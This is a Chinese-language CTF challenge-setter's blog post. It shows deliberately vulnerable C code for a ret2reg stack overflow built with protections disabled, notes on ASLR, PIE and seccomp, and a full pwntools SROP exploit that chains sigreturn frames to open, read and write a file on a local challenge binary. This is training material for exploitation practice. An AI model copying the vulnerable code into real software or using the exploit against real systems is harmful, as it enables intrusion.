例行月赛出题,出了三道,两道是基于自己做过的题,融合了其他知识点(缝缝补补又一年),还有一道是临时出的凑数的。感觉确实不仅需要做题,也需要出题,出题的时候才能更好地理解出题人的想法(废话。。),以及注意到之前的很多细节。
这次也踩坑踩了很多,比如条件竞争的题目,不知道怎么部署。。。想了很多方案都不行。以及docker容器自身的问题,它只是隔离了进程,并没有用新的内核,所以一些内核特性用不了。
ret2reg
题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| #include <stdio.h> #include <string.h>
void evilfunction(char *input) {
char buffer[512]; strcpy(buffer, input); }
int main(int argc, char **argv) {
char input[580]; printf("welcome to here,please give me something"); gets(input); evilfunction(input); return 0; }
|
分析
本身这道题的原题是没有开启随机化,相对比较简单,可以直接写shellcode,然后call eax这种过去执行shellcode,但是如果开了随机化,call eax的地址就不确定了,但是可以进行枚举,(之前一直不会写枚举的脚本,这次学会了。。。)感觉之前有时候也是成功了,但是没有正确停止或打印
PIE和ALSR:
ALSR:/proc/sys/kernel/randomize_va_spac 完全开启时 栈、堆、libc变化,程序本身及PLT不变
PIE:可执行程序的加载基址
在作者那个年代,应该是默认不开启PIE的,现在都是默认开启… 不开启的话,就很容易了,alsr不影响,所以做的时候有点怪怪的…
gcc -Wall -g -o ret2reg ret2reg.c -z execstack -m32 -fno-stack-protector -no-pie
objdump -d ret2reg
804901d
开启PIE
进行枚举, 随机化程度是多少呢??
踩坑,改为用户输入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| #include <stdio.h> #include <string.h>
void evilfunction(char *input) {
char buffer[512]; strcpy(buffer, input); }
int main(int argc, char **argv) {
char input[580]; printf("welcome to here,please give me something"); gets(input); evilfunction(input); return 0; }
|
SROP
本来寻思直接给个/bin/sh会简单,后来发现好像和原题差不多…然后不如加个系统调用限制(不过好像过滤的不完全,还是能getshell?)
如何直接写汇编呢? (也可以写一篇分析
https://blog.csdn.net/qq_27816307/article/details/50995042
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| section .data ; 数据段声明 msg db "Hello, world!", 0xA ; 要输出的字符串 len equ $ - msg ; 字串长度
section .text ; 代码段声明 global _start ; 指定入口函数 _start: ; 在屏幕上显示一个字符串 mov eax, 4 ; 系统调用号(sys_write) ;man 2 write 可以查看write系统调用的功能 ;write函数原型: ssize_t write(int fd,const void *buf,size_t count); mov ebx, 1 ; 参数一:文件描述符(stdout) mov ecx, msg ; 参数二:要显示的字符串 mov edx, len ; 参数三:字符串长度 int 0x80 ; 调用内核功能。软中断,陷入内核 mov eax, 1 ; 系统调用号(sys_exit) mov ebx, 0 ; 参数一:退出代码 int 0x80 ; 调用内核功能
|
nasm 注意编译多少位的,blog里面是32的,64的话
nams -f elf64 hello.asm
用gcc链接也可以(本质都一样吧)
gcc -o example example.o
ld -s -o hello hello.o
反汇编看一下
用seccmp禁掉execve? 还是啥
先封装到c里面
1 2
| nasm -f elf64 hello.asm gcc -fno-stack-protector -no-pie -o myprogram 1.c hello.o
|
objdump -s -j .rodata your_binary_file 查看字符串
seccomp
关于文件描述符的调试,gdb中如何查看呢? Linux中又如何查看呢?
1.c:4:10: fatal error: seccomp.h: 没有那个文件或目
sudo apt-get install libseccomp-dev
编译的时候需要加选项 -lseccomp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| root@ubuntu:/home/ubuntu/桌面/pwn/8月/srop/test1 from pwn import * small = ELF('./test')
if args['REMOTE']: sh = remote('127.0.0.1', 7777) else: sh = process('./myprogram') context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64' context.log_level = 'debug' syscall_ret = 0x000000000040112e start_addr = 0x0000000000401120 payload = p64(start_addr) * 4
sh.send(payload) pause() sh.send("\x23") stack_addr = u64(sh.recv()[16:24]) log.success('leak stack addr :' + hex(stack_addr))
sigframe = SigreturnFrame() sigframe.rax = constants.SYS_read sigframe.rdi = 0 sigframe.rsi = stack_addr sigframe.rdx = 0x400 sigframe.rsp = stack_addr sigframe.rip = syscall_ret payload = p64(start_addr) + b"a"*8 + bytes(sigframe) sh.send(payload) sigreturn = p64(syscall_ret) + b"x"*7 print("hereeeeeeeeeeeeeeeeeeeeeeeeeee") pause() sh.send(sigreturn)
sigframe = SigreturnFrame() sigframe.rax = constants.SYS_open sigframe.rdi = 0x402004 sigframe.rsi = 0 sigframe.rdx = 0 sigframe.rsp = stack_addr sigframe.rip = syscall_ret payload = p64(start_addr) + b"a"*8 + bytes(sigframe) sh.send(payload) sigreturn = p64(syscall_ret) + b"x"*7 print("hereeeeeeeeeeeeeeeeeeeeeeeeeee") pause() sh.send(sigreturn)
sigframe = SigreturnFrame() sigframe.rax = constants.SYS_read sigframe.rdi = 3 sigframe.rsi = stack_addr+0x200 sigframe.rdx = 0x100 sigframe.rsp = stack_addr sigframe.rip = syscall_ret payload = p64(start_addr) + b"a"*8 + bytes(sigframe) sh.send(payload) sigreturn = p64(syscall_ret) + b"x"*7 print("hereeeeeeeeeeeeeeeeeeeeeeeeeee") pause() sh.send(sigreturn)
sigframe = SigreturnFrame() sigframe.rax = constants.SYS_write sigframe.rdi = 1 sigframe.rsi = stack_addr+0x200 sigframe.rdx = 0x100 sigframe.rsp = stack_addr sigframe.rip = syscall_ret payload = p64(start_addr) + b"a"*8 + bytes(sigframe) sh.send(payload) sigreturn = p64(syscall_ret) + b"x"*7 print("hereeeeeeeeeeeeeeeeeeeeeeeeeee") pause() sh.send(sigreturn)
sh.interactive()
|
白名单感觉复杂点,可以直接上黑名单
https://www.sec4.fun/2018/07/23/seccomp/